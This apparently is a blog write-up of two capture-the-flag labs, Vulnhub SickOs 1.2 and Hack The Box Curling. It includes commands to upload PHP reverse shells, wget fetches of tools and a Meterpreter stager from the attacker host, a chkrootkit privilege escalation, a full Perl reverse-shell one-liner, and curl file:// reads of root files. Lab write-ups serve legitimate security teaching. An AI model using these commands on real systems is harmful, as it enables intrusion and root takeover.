Vulnhub – SickOs 1.2

Target IP: 10.0.2.6
Goal: get flag /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
Download link: https://www.vulnhub.com/entry/sickos-12,144/

To gather some initial information about the target system we use Nmap to scan for any available services. Figure 1 shows the scan results which contain OpenSSH version 5.9p1 on port 22 and a lighttpd web server version 1.4.28 on port 80.

1. Results of Nmap scan

Since there are no neat exploits for any of those services available we continue investigating and browse the web server which only hosts an image as shown in figure 2.

2. Content of web server root directory

For investigating a web server we can use WFUZZ to search for any hidden directories. But as figure 3 shows WFUZZ receives only responses containing status code 404.

3. Using WFUZZ to search for any directories

But since we are not interested in responses with a status code 404 we modify the request to ignore all responses that have 28 words of source code.

wfuzz –hw 28 -u http://10.0.2.6/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

After some time WFUZZ will receive a response for the directory /test with a status code 301 as shown in figure 4.

4. WFUZZ finds a new directory
5. Empty /test directory

When we browse the /test directory we see that it is an empty file directory as shown in figure 5. Since the new directory is empty it seems like there is no new information to be found. But one way to exploit directories hosting browsable files, e.g. WebDAV, is to upload malicious files which contain a language that gets executed by the server when being browsed. For instance one of these languages is PHP.
One way to upload files to a web server is by using the HTTP method PUT. To validate if the method is being accepted by the web server we can use CURL and send a request containing the HTTP method OPTIONS. This queries the
web server to list all supported HTTP methods as shown in figure 6.

6. Pulling all accepted HTTP-Methods

As we can see in figure 6 we should be able to upload files directly to the /test directory by using the PUT method. But when we try to upload a PHP reverse shell we receive the following error:

417 – Expectation Failed

When we use Google to search for that error we find the following explanation:

This happens when you are behind a proxy which is running in HTTP 1.1 mode where as the client is running in HTTP 1.0.

So in curl we add –http1.0 as argument to solve the issue as shown in figure 7.

7. Successfully uploading PHP reverse shell
8. Confirmation about uploaded PHP reverse shell

When we browse the /test directory again we see that our file got successfully uploaded as shown in figure 8. To get a shell on the system we have to set up a listener for incoming connections on the port that we have specified within our reverse shell PHP file. Furthermore we have to get the PHP code executed by the server by simply browsing the file. But when we do this we wont get any connection between our attacking machine and the target system. This is most likely due to the use of an antivirus deleting our uploaded file or a firewall blocking the connection. Since we are still able to see the file in the /test directory it most likely is not an Antivirus that is keeping us from getting connection. So we assume that some sort of Firewall, most likely iptables is in place blocking our connection.
So we try to use another port and at this point the first port that I personally like to use is 443. Because on most real-world scenarios 443 is one of those ports that most likely has to be open since the users of the target system need to use some sort of HTTP services to do their job. After changing the port, setting up a new listener, re-uploading the file and get it executed by the server we get a connection from the target system back to our attacking machine as shown in figure 9.

9. Incoming connection from target

At this point we usually want to gather as much information about the system as we possibly can get to perform a privilege escalation.
To do so we can use a bash script called LinEnum. So we try to use wget on the target system to download the script from our attacking machine which provides the script over a HTTP server on port 80. But yet again iptables blocks our attempt to use any port other than 443. But since 443 is already being used by our reverse shell we cannot simply offer the file on port 443.

To solve this problem we terminate our reverse connection to free up port 443 and upload a simple PHP file to the /test directory for remote code execution without the need of an interactive shell.

curl -v -X PUT -d ‘’ http://10.10.10.10/upload/shell.php

Next we switch to our directory where we have the LinEnum.sh script and use Python to host a HTTP server on port 443.

python – m SimpleHTTPServer 443

The last step is to use our new PHP shell to download the script onto the target machine.

http://10.0.2.6/test/shell.php?offensive=wget%20http://10.0.2.15:443/linenum.sh

Afterwards we can shut down our Python web server, restart our listener for incoming connections on port 443 and create a new reverse connection like we did the first time. Within the new interactive shell we execute LinEnum on the target system. One interesting output of the script is a list of any active cronjobs that are in place. As figure 10 shows one cronjob is for running a script called
chrootkit which is not part of any default Linux configuration which means that the creator of the virtual machine had to put it there on purpose. So it might be worth to take a closer look at the script.

 

10. LinEnum prints all cron jobs

On Google we can find a known vulnerability for version 0.49. So we try to verify which version is installed on the target system. As figure 11 shows we are in luck.

11. Verifiy version of chrootkit

Reading the article on exploit-db about the vulnerability we learn that it should be possible to get root privileges by placing a file called update inside the /tmp directory and run the chrootkit script. Unfortunately we cannot run the chrootkit script itself to trigger the exploit. Luckily the cronjob will do that for us.

So we create an executable file with an Meterpreter payload with Msfvenom as shown in figure 12.

12. Create stager with Msfvenom

Afterwards we host the stager on a HTTP server on port 443 and use the second PHP shell to download the file onto the target system as we already did earlier with LinEnum.

http://10.0.2.6/test/shell.php?offensive=wget%20http://10.0.2.15:443/stager.elf

We then move the stager into the /tmp directory and make it executable.

mv stager.elf /tmp/update
chomod +x update

The last step is to set up the Metasploit exploit handler and wait for the cronjob to run the chrootkit script which executes the stager file on the target system with root privileges as shown in figure 13.

13. Root shell and flag!

 

Hack The Box – Curling

This box retired on 30.03.2019
Goal: CTF – user.txt & root.txt
Difficulty: 4.4 / 10 (rated by HTB-community)

We start with a Nmap scan to see which ports are open. The results show that the box is offering SSH on port 22 and is hosting a web service on port 80.

1. Results of Nmap scan

When we browse the website we see multiple blog posts like the one shown in figure 2.

2. Blog post on Curling-website
3. Joomla-Login on /administrator/index.php

To gather more information about the web service we start Gobuster to enumerate all directories. By doing so we identify a login page to the Joomla Backend on “/administrator/index.php” as shown in figure 3. Since we cannot do much with the already gathered information we need to find anything else of interest. Because we know that the web server is using Joomla we can use a tool called Joomscan which is a vulnerability scanner for Joomla. The scan leads to the following interesting looking directory “http://10.10.10.150/administrator/modules” as shown in figure 4.

4. List of administrator modules

By looking through all listed modules we are not able to identify anything special or of interest. It seems like we somewhere took a wrong turn and landed in a rabbit hole. Because of this we take a step back and start all over again. We know that the machine is rated as easy by the community so we might think too complicated. By redoing all enumeration we take a closer look at the source code of the main page of the web site and find an odd-looking comment shown in figure 5.

5. Hidden comment in source code of Curling-Website.

When we browse the “/secret.txt” directory we find the following string:

Q3VybGluZzIwMTgh

We assume it’s a password and go back to the administrator login page from figure 3 and try some different usernames like admin, administrator and root each with the string from the secrets.txt directory as password. But we won’t get a successful login. We remember that we already found a potential username on the main website from the blog post shown in figure 2. Which is why we try again for username floris and the password Q3VybGluZzIwMTgh but we still get no access.

It obviously has something to do with the secret.txt file so we play around with the string. When decoding the string as base64 we get the result “Curling2018!” which is more likely to be the correct password. /fail

Using Curling2018! and the username floris we get access to the administrator backend. The next step is to upload a PHP reverse shell so that we can execute commands on the system. To do so we search for any existing PHP site and replace the existing code with the code of a web shell. Figure 6 shows the default site error.php and parts of the a PHP web shell from pentestmonkey.net.

6. Replacing PHP-code of error.php site with PHP-code of a reverse shell.

After replacing the code inside the error.php file we browse directory it is located in to access and execute the malicious web shell.

http://10.10.10.150/templates/beez3/error.php

Figure 7 shows that we get a connection as www-data from the target host back to our system on port 9011.

7. Incoming connection from PHP reverse shell

The next step is to get a real shell. To do so we use the following per command to get a reverse connection from the host back to our system on port 9012.

perl -e ‘use Socket;$i=”10.0.13.55″;$p=9012;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

When we take a look inside the home directory of user floris, we see that we need to escalate our privileges from user www-data to user floris to access the user flag as shown in figure 8.

8. Home directory of user floris

Inside the same directory we find an interesting looking file called password_backup. Figure 9 shows the contents for that file which is a hexdump with the header “BZh91AY”.

9. Content of password_backup file.

When we us Google to search for “hexdump BZh91AY” we find a tutorial on how to decode the contents for such a file. As Figure 10 shows we us the commands bzcat to decompresses bzip2 files, zcat to decompress gzip data aswell as tar to open tar archives as shown in figure 10.

10. Decoding the password for user floris

After we have obtained the password we are able to connect to the system with ssh as user floris and read the contents of the first flag inside the floris home directory.

Furthermore we are able to access the directory admin-arena inside the home directory of user floris which we already saw in figure 8. Inside the directory we find two files input and report which we have read and write access to as shown in figure 11.

11. Content of admin-area directory

When we take a look inside the input file we see that it has the following content:

url = “http://127.0.0.1”

Inside the report file we will find a copy of the source code of the Curling-Website that the box is hosting.  It seems like the input file stores a parameter which being used as input to execute Curl as a scheduled task which runs every minute. The results of the execution is then written into the report file.

To test our assumption we create a file, host it on our machine and try to access it by modifying the contents of the input file as shown in figure 12.

echo “Offensive IT” > test.txt

12. Manipulate content of input file to access locally hosted test file

As figure 12 shows we guessed right and after one minute the report file stores the content of our previous created test.txt file.

Since we know that the curl command that runs in the background gets executed with root privileges we try to access the root flag. To do so we need to adjust the parameter inside the input file so that curl will access files on the local system.

url = \”file:///root/root.txt\”

13. Access root flag with curl

Furthermore we are able to obtain the SSH private key for user root as shown in figure 14.

14. Private SSH key for root